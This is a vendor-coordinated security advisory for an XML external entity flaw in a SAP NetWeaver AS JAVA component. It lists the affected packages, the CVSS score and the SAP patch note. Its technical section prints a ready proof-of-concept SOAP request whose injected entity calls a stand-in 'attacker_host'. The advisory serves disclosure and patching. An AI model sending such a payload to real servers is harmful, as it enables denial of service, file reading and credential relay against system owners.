SAP NetWeaver AS JAVA – ‘BC-BMT-BPM-DSK’ XML External Entity Injection
Application: SAP NetWeaver AS JAVA Versions Affected: SAP NetWeaver AS JAVA 7.5 Vendor URL: SAP Bugs: XXE Reported: 09.03.2016 Vendor response: 10.03.2016 Date of Public Advisory: 09.08.2016 Reference: SAP Security Note 2296909 Author: Vahagn Vardanyan (ERPScan) 1. ADVISORY INFORMATION Title: [ERPSCAN-16-034] SAP NetWeaver AS JAVA – XXE vulnerability in BC-BMT-BPM-DSK component Advisory ID:[ERPSCAN-16-034] Risk: high Advisory URL: https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/ Date published: 11.11.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: XXE Impact: Denial of Service, Read File Remotely Exploitable: yes Locally Exploitable: no CVSS Information CVSS Base Score v3: 6.4 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) High (H) PR : Privileges Required (Level of privileges needed to exploit) Low (L) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality Low (L) I : Impact to Integrity Low (L) A : Impact to Availability High (H) 3. VULNERABILITY DESCRIPTION 1) It is possible, that an attacker can perform a DoS attack (for example, an XML Entity expansion attack) 2) An SMB Relay attack is a type of man-in-the-middle attack where an attacker asks a victim to authenticate to a machine controlled by the attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways, giving him access. 4. VULNERABLE PACKAGES BPEM PORTAL CONTENT 7.20 BPEM PORTAL CONTENT 7.30 BPEM PORTAL CONTENT 7.31 BPEM PORTAL CONTENT 7.40 BPEM PORTAL CONTENT 7.50 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2296909 6. AUTHOR Vahagn Vardanyan (ERPScan) 7. TECHNICAL DESCRIPTION PoC POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1 Content-Type: text/xml User-Agent: ERPscan Host: SAP_IP:SAP_PORT Content-Length: 480 Connection: Keep-Alive Cache-Control: no-cache Authorization: Basic ZXJwc2NhbjplcnBzY2Fu <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Body> <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/> &xxe;</SOAP-ENV:Body> </SOAP-ENV:Envelope> 8. REPORT TIMELINE Sent: 09.03.2016 Reported: 10.03.2016 Vendor response: 10.03.2016 Date of Public Advisory: 09.08.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/ |